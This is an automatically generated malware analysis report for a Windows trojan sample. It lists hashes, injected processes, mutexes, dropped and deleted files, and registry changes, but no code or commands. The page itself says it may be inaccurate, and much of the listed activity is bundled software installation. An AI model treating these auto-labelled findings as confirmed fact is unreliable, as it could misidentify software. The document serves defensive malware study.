Trojan.Win32.FlyStudio_d557fb80c9

by malwarelabrobot on August 10th, 2015 in Malware Descriptions.

Trojan-PSW.Win32.MSNPassword.FD, Trojan.Win32.FlyStudio.FD, Trojan.Win32.Swrort.3.FD, GenericEmailWorm.YR, GenericPhysicalDrive0.YR, TrojanFlyStudio.YR (Lavasoft MAS)
Behaviour: Trojan-PSW, Trojan, Worm, EmailWorm


The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

Requires JavaScript enabled!

Summary
Dynamic Analysis
Static Analysis
Network Activity
Map
Strings from Dumps
Removals

MD5: d557fb80c9f6a7096ff0b15825be72ed
SHA1: ea8000cb99e2c7b598d6b81711fc27b3a1db7742
SHA256: 21ea9fc770985b4bf8b50d10bea608b061d2834cb45d0e7962ce30d2bde1fafc
SSDeep: 393216:ip4MatPk xA6yejhYCPFtB1ucknErrMry41OlDj:ip4Muk xBySFtBgLnEPM3Mj
Size: 16113664 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: UPolyXv05_v6, MicrosoftVisualC, MicrosoftVisualCv50v60MFC, MicrosoftVisualC50, Armadillov171
Company: no certificate found
Created at: 2015-06-25 10:01:29
Analyzed on: WindowsXP SP3 32-bit


Summary:

Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).

Payload

Behaviour Description
EmailWorm Worm can send e-mails.


Process activity

The Trojan creates the following process(es):

³ÉÆ·.exe:1908
2345SFGuard.exe:2368
2345SoftSvc.exe:136
2345RTProtect.exe:2136
2345AvScan.exe:2092
2345AvScan.exe:2236
2345AvScan.exe:552
2345SoftMgr.exe:1948
2345SoftMgr.exe:1548
2345SoftMgr.exe:588
2345SoftMgr.exe:228
2345ExtShell.exe:1164
2345ExtShell.exe:244
2345ShellPro.exe:1128
2345ShellPro.exe:460
2345ShellPro.exe:480
ºÇºÇ.exe:1316
2345softmgr_setup.exe:1888
2345SafeSvc.exe:408
2345pcsafe_k1742288.exe:1488

The Trojan injects its code into the following process(es):

2345GlobalData.exe:1928
2345MPCSafe.exe:1856
2345RTProtect.exe:2084
2345SafeTray.exe:1144
%original file name%.exe:1772

Mutexes

The following mutexes were created/opened:

DirectInput.{5944E682-C92E-11CF-BFC7-444553540000}
DirectInput.{89521361-AA8A-11CF-BFC7-444553540000}
__DDrawCheckExclMode__
__DDrawExclMode__
DDrawWindowListMutex
DDrawDriverObjectListMutex
RasPbFile
ShimCacheMutex

File activity

The process 2345GlobalData.exe:1928 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Application Data\2345AvScan\Quarantine.data-journal (1808 bytes)
%Documents and Settings%\%current user%\Application Data\2345AvScan\Quarantine.data (2936 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Application Data\2345AvScan\Quarantine.data-journal (0 bytes)

The process 2345MPCSafe.exe:1856 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\History\History.IE5\desktop.ini (159 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\EK21GOA4\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\0LARCTEJ\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Application Data\2345PCSafe\config\exam.ini (179 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WP2Z412Z\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\CX67KLI7\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\RS#D.tmp (1269 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\2345PCSafe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\2345PCSafe\RT~F.tmp (0 bytes)

The process 2345RTProtect.exe:2084 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Application Data\2345AvScan (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\RS#10.tmp (1573 bytes)
%Documents and Settings%\%current user%\Favorites (4 bytes)
%Documents and Settings%\All Users\APPLICATION DATA (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\index.dat (400 bytes)
%Documents and Settings%\%current user%\Local Settings (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\wireshark.txt (4 bytes)
%Documents and Settings%\All Users (4 bytes)
%Documents and Settings%\%current user%\Application Data\2345AntiVirus\rccfginfo.tmp (29 bytes)
%WinDir% (8 bytes)
%Documents and Settings%\%current user%\Application Data (4 bytes)
C:\$Directory (2980 bytes)
%Program Files%\Windows NT (4 bytes)
%System% (2672 bytes)
%Program Files%\2345Soft\2345PCSafe (96 bytes)
%Program Files% (96 bytes)
%Program Files%\2345Soft\2345SoftMgr (4 bytes)
%Documents and Settings%\%current user%\Application Data\2345PCSafe (4 bytes)
%System%\config (4 bytes)
%Documents and Settings%\%current user%\Application Data\2345AvScan\2345MonCfg.data (29 bytes)
%Documents and Settings%\%current user% (4 bytes)
%Documents and Settings%\%current user%\Local Settings\History\History.IE5\index.dat (16 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp (4 bytes)
%Documents and Settings%\%current user%\Cookies\index.dat (16 bytes)
%Program Files%\2345Soft\2345PCSafe\Data\monitorcfg.dat.tmp (29 bytes)

The process 2345SafeTray.exe:1144 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\RS#16.tmp (1541 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\RS#11.tmp (1269 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\RS#15.tmp (1541 bytes)
%Documents and Settings%\%current user%\Application Data\2345PCSafe\2345UpdateConfig.ini (687 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\RS#12.tmp (1397 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\RS#13.tmp (1541 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\RS#14.tmp (1541 bytes)

The process 2345SoftMgr.exe:1548 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\RS#E.tmp (197 bytes)

The process 2345SoftMgr.exe:588 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Start Menu\Programs\2345安全中心\2345软件管家\2345软件管家.lnk (1 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\2345安全中心\2345软件管家\卸载2345软件管家.lnk (1 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\2345安全中心\2345软件管家\卸载2345软件管家.lnk (1 bytes)
%Documents and Settings%\%current user%\Start Menu\2345软件管家.lnk (1 bytes)
%Documents and Settings%\%current user%\Desktop\2345软件管家.lnk (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\RS#B.tmp (197 bytes)
%Documents and Settings%\%current user%\Application Data\2345SoftMgr\config\softmgr (29 bytes)
%Documents and Settings%\%current user%\Start Menu\强力卸载电脑中的软件 .lnk (1 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\2345安全中心\2345软件管家\2345软件管家.lnk (1 bytes)

The process %original file name%.exe:1772 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

C:\ºÇºÇ.exe (85707 bytes)
C:\³ÉÆ·.exe (5442 bytes)

The process 2345ShellPro.exe:460 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\RS#A.tmp (997 bytes)
%System%\config\SYSTEM.LOG (12371 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\RS#7.tmp (485 bytes)
%System%\drivers\2345FsMon.sys (55 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\RS#8.tmp (725 bytes)
%System%\config\system (5919 bytes)
%System%\config (864 bytes)
%System%\drivers\2345NetMon.sys (28 bytes)
%Documents and Settings%\%current user%\Application Data\2345PCSafe\2345Config.data (29 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\RS#9.tmp (885 bytes)
%System%\drivers\2345RegMon.sys (90 bytes)

The process 2345ShellPro.exe:480 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Start Menu\Programs\2345安全中心\2345安全卫士\2345安全卫士.lnk (1 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\2345安全中心\2345安全卫士\2345安全卫士.lnk (1 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\2345安全中心\2345安全卫士\卸载2345安全卫士.lnk (1 bytes)
%Documents and Settings%\%current user%\Desktop\2345安全卫士.lnk (1 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\2345安全中心\2345安全卫士\卸载2345安全卫士.lnk (1 bytes)

The process ºÇºÇ.exe:1316 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\HZ$D.980.4448\2345pcsafe_k1742288.exe (84488 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\HZ~C.tmp.bat (84 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\HZ$D.980.4448\2345pcsafe_k1742288.exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\HZ$D.980.4448 (0 bytes)

The process 2345softmgr_setup.exe:1888 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Program Files%\2345Soft\2345SoftMgr\2345soft\icon\softuninstall.ico (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\2345SoftMgr\instp\2345SoftUninstall.dll (3754 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\2345SoftMgr\untp\2345SafeUpdate.dll (239 bytes)
%Program Files%\2345Soft\2345SoftMgr\2345SafeDispatcher.dll (2321 bytes)
%Program Files%\2345Soft\2345SoftMgr\2345SoftLocal.dll (4545 bytes)
%Program Files%\2345Soft\2345SoftMgr\sqlite3.dll (3361 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\2345SoftMgr\instp\sqlite3.dll (1808 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\2345SoftMgr\instp\2345SoftBox.dll (15021 bytes)
%Program Files%\2345Soft\2345SoftMgr\2345SafeUpdate.dll (1281 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\2345SoftMgr\instp\2345SoftService.dll (92 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\2345SoftMgr\instp\2345SoftMgrDB.dll (3883 bytes)
%Program Files%\2345Soft\2345SoftMgr\msvcr110.dll (6316 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\2345SoftMgr\instp\2345SafeDispatcher.dll (1703 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\2345SoftMgr\instp\2345SoftLib.dll (1723 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\2345SoftMgr\untp\2345SafeDispatcher.dll (1703 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\2345SoftMgr\instp\2345SafeUpdate.dll (239 bytes)
%Program Files%\2345Soft\2345SoftMgr\2345SoftUtils.dll (1425 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\2345SoftMgr\untp\2345SoftLocal.dll (3744 bytes)
%Program Files%\2345Soft\2345SoftMgr\2345SoftUninstall.dll (4545 bytes)
%Program Files%\2345Soft\2345SoftMgr\2345SoftBox.dll (15799 bytes)
%Program Files%\2345Soft\2345SoftMgr\2345softNotify.exe (3361 bytes)
%Program Files%\2345Soft\2345SoftMgr\2345SoftMgrDB.dll (5873 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\2345SoftMgr\untp\2345SoftMgrDB.dll (3883 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\2345SoftMgr\instp\2345SoftNotify.exe (1859 bytes)
%Program Files%\2345Soft\2345SoftMgr\2345SoftSvc.exe (1281 bytes)
%Program Files%\2345Soft\2345SoftMgr\2345SoftLib.dll (2321 bytes)
%Program Files%\2345Soft\2345SoftMgr\2345soft\data\2345softuninst2.dat (334176 bytes)
%Program Files%\2345Soft\2345SoftMgr\2345soft\data\2345font (8184 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\2345SoftMgr\untp\2345SoftMgr.exe (15801 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\2345SoftMgr\instp\2345SoftInstaller.exe (1650 bytes)
%Program Files%\2345Soft\2345SoftMgr\Uninstall.exe (3910 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\2345SoftMgr\instp\2345SafeDB.dll (134 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\2345SoftMgr\instp\2345SoftLocal.dll (3744 bytes)
%Program Files%\2345Soft\2345SoftMgr\2345soft\icon\softupdateremind.ico (6360 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsi6.tmp\System.dll (784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\2345SoftMgr\untp\msvcr110.dll (6316 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\2345SoftMgr\untp\2345SoftLib.dll (1723 bytes)
%Program Files%\2345Soft\2345SoftMgr\2345soft\data\2345softclass.dat (1552 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\2345SoftMgr\untp\2345SoftUtils.dll (262 bytes)
%Program Files%\2345Soft\2345SoftMgr\2345SoftInstaller.exe (2105 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\2345SoftMgr\instp\2345SoftUtils.dll (262 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\2345SoftMgr\untp (4 bytes)
%Program Files%\2345Soft\2345SoftMgr\2345SafeDB.dll (673 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\2345SoftMgr\instp\2345SoftMgr.exe (15801 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsi6.tmp\FileInfo.dll (4992 bytes)
%Program Files%\2345Soft\2345SoftMgr\2345SoftMgr.exe (32873 bytes)
%Program Files%\2345Soft\2345SoftMgr\msvcp110.dll (1816 bytes)
%Program Files%\2345Soft\2345SoftMgr\2345soft\icon\defaultsoft.ico (9 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\2345SoftMgr\instp\2345SoftSvc.exe (235 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\2345SoftMgr\untp\2345SoftBox.dll (15021 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nss5.tmp (363999 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\2345SoftMgr\untp\msvcp110.dll (1816 bytes)
%Program Files%\2345Soft\2345SoftMgr\2345SoftService.dll (601 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\2345SoftMgr\untp\2345SoftUninstall.dll (3754 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\2345SoftMgr\instp\2345SoftUninstall.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\2345SoftMgr\untp\2345SafeUpdate.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\2345SoftMgr\instp\sqlite3.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\2345SoftMgr\instp\2345SoftBox.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\2345SoftMgr\untp\msvcp110.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\2345SoftMgr\instp\2345SoftService.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\2345SoftMgr\instp\2345SoftMgrDB.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\2345SoftMgr\untp\2345SoftUtils.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\2345SoftMgr\instp\2345SoftUtils.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\2345SoftMgr\instp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\2345SoftMgr\untp\2345SafeDispatcher.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\2345SoftMgr\instp\2345SafeUpdate.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\2345SoftMgr\untp\2345SoftLocal.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\2345SoftMgr\untp\2345SoftMgrDB.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\2345SoftMgr\instp\2345SoftNotify.exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\2345SoftMgr\untp\2345SoftBox.dll (0 bytes)
%Program Files%\2345Soft\2345SoftMgr\2345soft\data\2345softuninst2.dat (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\2345SoftMgr\untp\2345SoftMgr.exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\2345SoftMgr\instp\2345SoftInstaller.exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsi6.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\2345SoftMgr\instp\2345SafeDB.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\2345SoftMgr\instp\2345SoftLocal.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsi6.tmp\System.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\2345SoftMgr\untp\msvcr110.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\2345SoftMgr\untp\2345SoftLib.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\2345SoftMgr\instp\2345SafeDispatcher.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\2345SoftMgr\untp\2345SoftUninstall.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\2345SoftMgr\instp\2345SoftLib.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\2345SoftMgr\instp\2345SoftMgr.exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsi6.tmp\FileInfo.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\2345SoftMgr\instp\2345SoftSvc.exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\2345SoftMgr\untp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn4.tmp (0 bytes)
%Program Files%\2345Soft\2345SoftMgr\2345SoftMgr.exe55c6a1c4.tmp (0 bytes)

The process 2345pcsafe_k1742288.exe:1488 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Program Files%\2345Soft\2345PCSafe\sqlite3.dll (1808 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsl3.tmp\RCWidgetPlugin.dll (24832 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\2345PCSafe\instp\2345AvScan.exe (129 bytes)
%Program Files%\2345Soft\2345PCSafe\2345SafeUpdate.dll (213 bytes)
%Program Files%\2345Soft\2345PCSafe\msvcp110.dll (1816 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\2345PCSafe\instp\2345SafeUtils.exe (7386 bytes)
%Program Files%\2345Soft\2345PCSafe\Data\optimize.dat (34773 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\2345PCSafe\instp\2345BrowserDl.exe (141 bytes)
%Program Files%\2345Soft\2345PCSafe\2345ExtShell.exe (2105 bytes)
%Program Files%\2345Soft\2345PCSafe\2345SFGuard.exe (5441 bytes)
%Program Files%\2345Soft\2345PCSafe\2345SafeTray.exe (12287 bytes)
%Program Files%\2345Soft\2345PCSafe\Uninstall.exe (16877 bytes)
%Program Files%\2345Soft\2345PCSafe\Data\exam.dat (4992 bytes)
%Program Files%\2345Soft\2345PCSafe\Data\fsmon.dat (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsl3.tmp\System.dll (784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\2345PCSafe\instp\2345ShellPro.exe (3737 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\2345PCSafe\instp\2345SFGuard.exe (3845 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\2345PCSafe\untp\2345SafeExt.dll (175 bytes)
%Program Files%\2345Soft\2345PCSafe\Data\trash.dat (4992 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\2345PCSafe\untp\2345SafeService.dll (137 bytes)
%Program Files%\2345Soft\2345PCSafe\2345SFEMon.dll (192 bytes)
%Program Files%\2345Soft\2345PCSafe\2345SafeUtils.exe (7726 bytes)
%Program Files%\2345Soft\2345PCSafe\2345ProcessApi.dll (25 bytes)
%Program Files%\2345Soft\2345PCSafe\2345AvCloudQuery.dll (315 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\2345PCSafe\untp\2345FsMon.dll (214 bytes)
%Program Files%\2345Soft\2345PCSafe\2345SafeOptimize.dll (1671 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\2345PCSafe\untp\2345SafeUpdate.dll (213 bytes)
%Program Files%\2345Soft\2345PCSafe\2345SafeSvc.exe (1281 bytes)
%Program Files%\2345Soft\2345PCSafe\2345SafeExam.dll (9606 bytes)
%Program Files%\2345Soft\2345PCSafe\Data\monitorcfg.dat (2 bytes)
%System%\drivers\2345PowerApi.sys (784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\2345PCSafe\untp\2345ExtShell.exe (1628 bytes)
%Program Files%\2345Soft\2345PCSafe\2345RTProtect.exe (18248 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\2345PCSafe\untp\msvcr110.dll (6316 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsl2.tmp (870976 bytes)
%Program Files%\2345Soft\2345PCSafe\2345SafeDispatcher.dll (1706 bytes)
%Program Files%\2345Soft\2345PCSafe\2345SafeService.dll (137 bytes)
%Program Files%\2345Soft\2345PCSafe\2345SFBase.dll (164 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\2345PCSafe\untp\2345NetMon.dll (132 bytes)
%Program Files%\2345Soft\2345PCSafe\Data\bwinfo.dat (784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\2345PCSafe\instp\2345SFWebShell.exe (98 bytes)
%Program Files%\2345Soft\2345PCSafe\Data\system64.dat (58402 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\2345PCSafe\instp\2345GlobalData.exe (9606 bytes)
%Program Files%\2345Soft\2345PCSafe\2345SafeExt.dll (175 bytes)
%Program Files%\2345Soft\2345PCSafe\2345SFWebMon.dll (229 bytes)
%Program Files%\2345Soft\2345PCSafe\2345ShellPro.exe (4545 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\2345PCSafe\untp\2345RegMon.dll (286 bytes)
%Program Files%\2345Soft\2345PCSafe\2345SFWebShell.exe (601 bytes)
%Program Files%\2345Soft\2345PCSafe\Data\TurnOffSoft.dat (1552 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\2345PCSafe\instp\2345softmgr_setup.exe (25429 bytes)
%Program Files%\2345Soft\2345PCSafe\Data\system.dat (95827 bytes)
%Program Files%\2345Soft\2345PCSafe\2345AvScan.exe (601 bytes)
%Program Files%\2345Soft\2345PCSafe\2345SafeGarbage.dll (7972 bytes)
%Program Files%\2345Soft\2345PCSafe\2345MPCSafe.exe (69512 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\2345PCSafe\untp (4 bytes)
%Program Files%\2345Soft\2345PCSafe\2345AvScan.dll (294 bytes)
%Program Files%\2345Soft\2345PCSafe\Data\office64.dat (9320 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\2345PCSafe\instp\2345ExtShell.exe (1628 bytes)
%Program Files%\2345Soft\2345PCSafe\2345InstallerPowerApi.dll (32 bytes)
%Program Files%\2345Soft\2345PCSafe\2345SafeDB.dll (127 bytes)
%Program Files%\2345Soft\2345PCSafe\2345FsMon.dll (214 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\2345PCSafe\instp\2345SafeNotify.exe (1625 bytes)
%Program Files%\2345Soft\2345PCSafe\2345GlobalData.exe (13122 bytes)
%Program Files%\2345Soft\2345PCSafe\msvcr110.dll (6316 bytes)
%Program Files%\2345Soft\2345PCSafe\2345NetMon.dll (132 bytes)
%Program Files%\2345Soft\2345PCSafe\2345SafeNotify.exe (2105 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\2345PCSafe\instp\2345SafeTray.exe (9606 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\2345PCSafe\untp\2345ShellPro.exe (3737 bytes)
%Program Files%\2345Soft\2345PCSafe\2345AvScanEngine.dll (208 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\2345PCSafe\instp\2345SafeSvc.exe (246 bytes)
%Program Files%\2345Soft\2345PCSafe\2345RegMon.dll (286 bytes)
%Program Files%\2345Soft\2345PCSafe\2345SafeHotfix.dll (7972 bytes)
%Program Files%\2345Soft\2345PCSafe\2345BrowserDl.exe (673 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\2345PCSafe\instp\2345MPCSafe.exe (34007 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsl3.tmp\FileInfo.dll (4992 bytes)
%Program Files%\2345Soft\2345PCSafe\2345softmgr_setup.exe (26831 bytes)
%Program Files%\2345Soft\2345PCSafe\Data\office.dat (26688 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\2345PCSafe\instp\2345RTProtect.exe (15801 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\2345PCSafe\untp\msvcp110.dll (1816 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\2345PCSafe\untp\2345InstallerPowerApi.dll (32 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\2345PCSafe\instp\2345SafeUtils.exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\2345PCSafe\instp\2345AvScan.exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsl3.tmp\RCWidgetPlugin.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\2345PCSafe\instp\2345BrowserDl.exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsl3.tmp\System.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\2345PCSafe\instp\2345SFGuard.exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsl3.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\2345PCSafe\instp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\2345PCSafe\untp\2345SafeExt.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\2345PCSafe\untp\2345SafeService.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\2345PCSafe\untp\2345RegMon.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\2345PCSafe\untp\2345FsMon.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\2345PCSafe\untp\2345SafeUpdate.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\2345PCSafe\untp\2345ExtShell.exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\2345PCSafe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\2345PCSafe\untp\msvcr110.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\2345PCSafe\untp\2345NetMon.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\2345PCSafe\instp\2345SFWebShell.exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\2345PCSafe\instp\2345GlobalData.exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\2345PCSafe\untp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsq1.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\2345PCSafe\instp\2345softmgr_setup.exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\2345PCSafe\instp\2345ShellPro.exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\2345PCSafe\instp\2345ExtShell.exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\2345PCSafe\instp\2345SafeNotify.exe (0 bytes)
%Program Files%\2345Soft\2345PCSafe\2345MPCSafe.exe55c6a1bf.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\2345PCSafe\instp\2345SafeTray.exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\2345PCSafe\untp\2345ShellPro.exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\2345PCSafe\instp\2345SafeSvc.exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\2345PCSafe\instp\2345MPCSafe.exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsl3.tmp\FileInfo.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\2345PCSafe\instp\2345RTProtect.exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\2345PCSafe\untp\msvcp110.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\2345PCSafe\untp\2345InstallerPowerApi.dll (0 bytes)

Registry activity

The process ³ÉÆ·.exe:1908 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "90 44 07 2C 97 7E D8 00 45 EF 0B 47 82 CF 3A 11"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

